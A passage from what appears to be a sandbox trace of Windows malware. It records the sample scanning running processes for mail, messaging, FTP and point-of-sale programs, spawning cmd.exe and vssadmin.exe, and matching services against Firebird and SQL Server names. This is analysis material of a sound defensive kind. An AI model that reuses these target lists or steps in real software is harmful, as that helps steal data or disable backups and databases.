th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.916] lstrlenW (lpString="fling.exe") returned 9 [0070.916] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.918] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0070.918] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.921] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0070.921] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.923] lstrlenW (lpString="icq.exe") returned 7 [0070.923] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.926] lstrlenW (lpString="leechftp.exe") returned 12 [0070.926] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.928] lstrlenW (lpString="ncftp.exe") returned 9 [0070.928] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.277] lstrlenW (lpString="notepad.exe") returned 11 [0071.291] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.294] lstrlenW (lpString="operamail.exe") returned 13 [0071.295] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.298] lstrlenW (lpString="pidgin.exe") returned 10 [0071.298] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0071.300] lstrlenW (lpString="scriptftp.exe") returned 13 [0071.300] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0071.303] lstrlenW (lpString="skype.exe") returned 9 [0071.303] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0071.306] lstrlenW (lpString="smartftp.exe") returned 12 [0071.306] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0071.308] lstrlenW (lpString="thunderbird.exe") returned 15 [0071.308] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.311] lstrlenW (lpString="totalcmd.exe") returned 12 [0071.311] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.314] lstrlenW (lpString="trillian.exe") returned 12 [0071.314] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.317] lstrlenW (lpString="webdrive.exe") returned 12 [0071.317] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.320] lstrlenW (lpString="whatsapp.exe") returned 12 [0071.320] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.322] lstrlenW (lpString="winscp.exe") returned 10 [0071.322] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.324] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0071.324] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.536] lstrlenW (lpString="active-charge.exe") returned 17 [0071.537] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.539] lstrlenW (lpString="accupos.exe") returned 11 [0071.539] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.541] lstrlenW (lpString="afr38.exe") returned 9 [0071.541] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.544] lstrlenW (lpString="aldelo.exe") returned 10 [0071.544] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.548] lstrlenW (lpString="ccv_server.exe") returned 14 [0071.548] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.551] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0071.551] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.553] lstrlenW (lpString="creditservice.exe") returned 17 [0071.553] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.555] lstrlenW (lpString="edcsvr.exe") returned 10 [0071.556] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.558] lstrlenW (lpString="fpos.exe") returned 8 [0071.558] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.561] lstrlenW (lpString="isspos.exe") returned 10 [0071.561] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.563] lstrlenW (lpString="mxslipstream.exe") returned 16 [0071.563] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.565] lstrlenW (lpString="omnipos.exe") returned 11 [0071.565] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.568] lstrlenW (lpString="spcwin.exe") returned 10 [0071.568] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.865] lstrlenW (lpString="spgagentservice.exe") returned 19 [0071.866] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.892] lstrlenW (lpString="utg2.exe") returned 8 [0071.905] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0071.917] lstrlenW (lpString="amsterdam.exe") returned 13 [0071.917] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0071.919] lstrlenW (lpString="targetannounce.exe") returned 18 [0071.920] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0071.922] lstrlenW (lpString="managed-davis.exe") returned 17 [0071.922] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0071.924] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0071.924] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0071.926] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0071.926] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.928] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.928] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.930] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.930] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0071.932] lstrlenW (lpString="winhost.exe") returned 11 [0071.932] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.933] lstrlenW (lpString="cmd.exe") returned 7 [0071.934] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.935] lstrlenW (lpString="conhost.exe") returned 11 [0071.936] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0071.937] lstrlenW (lpString="vssadmin.exe") returned 12 [0071.937] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0071.939] CloseHandle (hObject=0x1a4) returned 1 [0071.939] Sleep (dwMilliseconds=0x1f4) [0072.549] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514d48 [0072.550] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0072.551] GetLastError () returned 0xea [0072.551] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x50e1c8 [0072.551] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x50e1c8, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x50e1c8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0072.553] CloseServiceHandle (hSCObject=0x514d48) returned 1 [0072.554] lstrlenW (lpString="Appinfo") returned 7 [0072.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0072.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0072.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0072.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0072.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0072.554] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0072.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0072.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0072.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0072.554] lstrlenW (lpString="AudioSrv") returned 8 [0072.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0072.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0072.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0072.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0072.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0072.555] lstrlenW (lpString="BFE") returned 3 [0072.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0072.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0072.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0072.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0072.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0072.555] lstrlenW (lpString="CryptSvc") returned 8 [0072.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0072.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0072.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0072.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0072.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0072.556] lstrlenW (lpString="CscService") returned 10 [0072.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0072.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0072.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0072.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0072.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0072.556] lstrlenW (lpString="DcomLaunch") returned 10 [0072.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0072.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0072.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0072.557] lstrlenW (lpString="Dhcp") returned 4 [0072.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0072.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0072.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0072.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0072.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0072.557] lstrlenW (lpString="Dnscache") returned 8 [0072.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0072.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0072.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0072.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0072.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0072.558] lstrlenW (lpString="DPS") returned 3 [0072.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0072.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0072.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0072.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0072.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0072.558] lstrlenW (lpString="eventlog") returned 8 [0072.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0072.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0072.558] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0072.558] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0072.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0072.559] lstrlenW (lpString="EventSystem") returned 11 [0072.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0072.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0072.559] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0072.559] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0072.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0072.559] lstrlenW (lpString="FontCache") returned 9 [0072.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0072.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0072.559] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0072.559] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0072.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0072.560] lstrlenW (lpString="gpsvc") returned 5 [0072.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0072.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0072.560] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0072.560] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0072.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0072.560] lstrlenW (lpString="iphlpsvc") returned 8 [0072.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.560] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0072.560] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0072.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0072.560] lstrlenW (lpString="LanmanServer") returned 12 [0072.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0072.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0072.561] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0072.561] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0072.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0072.561] lstrlenW (lpString="LanmanWorkstation") returned 17 [0072.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.561] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0072.561] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0072.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0072.561] lstrlenW (lpString="lmhosts") returned 7 [0072.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0072.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0072.562] lstrcmpiW (lpString1="sqlwriter", 